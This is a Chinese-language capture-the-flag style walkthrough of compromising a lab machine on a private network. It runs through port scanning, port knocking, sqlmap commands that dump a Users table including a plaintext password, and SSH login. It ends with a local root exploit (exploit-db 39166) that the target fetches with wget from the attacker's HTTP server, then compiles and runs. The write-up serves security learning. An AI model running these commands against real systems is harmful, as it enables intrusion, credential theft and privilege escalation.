一、IP探测
arp-scan -l
确定172.20.10.2为靶机IP。
二、端口扫描
nmap -sV -T4 -p- -A 172.20.10.2
只开放了一个22端口,ssh登录功能,但是下面给出了四个密钥。
不知道是干什么的。。。
三、端口分析
尝试通过ssh连接一下22端口,毕竟只有这一个端口。
ssh 172.20.10.2
报错了,上网找一下资料。(csdn)
问题原因 WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! 翻译过来就是 警告:远程主机标识已更改!
此报错是由于远程的主机的公钥发生了变化导致的。 ssh服务是通过公钥和私钥来进行连接的,它会把每个曾经访问过计算机或服务器的公钥(public key),记录在~/.ssh/known_hosts 中,当下次访问曾经访问过的计算机或服务器时,ssh就会核对公钥,如果和上次记录的不同,OpenSSH会发出警告。
解决方法
删除对应ip的在known_hosts相关信息
vim /root/.ssh/known_hosts
———————————————— 版权声明:本文为优快云博主「漠效」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。 原文链接:https://blog.youkuaiyun.com/GX_1_11_real/article/details/82153160
按照上述所说删掉known_hosts的内容。
再次ssh连接。
端口碰撞
这里有一个知识点,中间这几个词隐隐约约可以看出来一个Knock,下面有Easy as 1,2,3。这个是端口碰撞。
端口上的防火墙通过产生一组预先指定关闭的端口进行连接尝试, 一旦接收到正确的连接尝试序列,防火墙规则就会动态修改, 以允许发送连接尝试的主机通过特定端口进行连接。
使用ping命令冲撞三次试试1,2,3。
apt install knockd
knock 172.20.10.2 1 2 3 -v
然后再次用nmap进行扫描。
nmap -sV -T4 -p- -A 172.20.10.2
此时出现了一个新的端口
访问一下
dirb扫一下
dirb http://172.20.10.2:1337
什么也没有,尝试访问http://172.20.10.2:1337/robots.txt,结果成功了,不知道为什么dirb没有扫出来。
f12看到一条注释内容
THprM09ETTBOVEl4TUM5cGJtUmxlQzV3YUhBPSBDbG9zZXIh
base64解密一下
二次解码
得到一个路径,访问一下。
是一个登录框,猜测有sql注入。
用sqlmap跑一下
sqlmap -o -u "http://172.20.10.2:1337/978345210/index.php" --forms --dbs
-o:开启所有优化 -u:指定目标URL --forms:自动判断注入 --dbs:枚举DBMS所有的数据库名称
得到数据库名称是Webapp。
sqlmap -o -u "http://172.20.10.2:1337/978345210/index.php" --forms -D Webapp --tables
-D:指定数据库 --tables:列出该数据库所有的表
sqlmap -o -u "http://172.20.10.2:1337/978345210/index.php" --forms -D Webapp -T Users --columns
-T:指定表 --columns:列出该表的所有表项
sqlmap -o -u "http://172.20.10.2:1337/978345210/index.php" --forms -D Webapp -T Users -C id,username,password --dump
-C:指定列 --dump:转储DBMS的数据库中的表项
四、提权
看到用户名是smeagol,通过sqlmap的结果得到对应的密码是MyPreciousR00t。
ssh连接
ssh smeagol@172.20.10.2
查看系统版本
id
uname -a 查看主机操作系统 内核信息
hostnamectl
版本信息为 Ubuntu 14.04.3 LTS
漏洞搜索
google搜索 Ubuntu 14.04.3 exploit
得到编号39166。
漏洞利用
kali机器
通过msf。
msfconsole
打开msf。
search 39166
拷贝到根目录。
cp /usr/share/exploitdb/exploits/linux/local/39166.c .
开启http服务
cd .
python -m SimpleHTTPServer 5555
ssh连接靶机
wget 172.20.10.3:5555/39166.c
(此处IP为kali机器的IP)
靶机操作
gcc 39166.c -o exp
./exp
通过whoami查看权限为root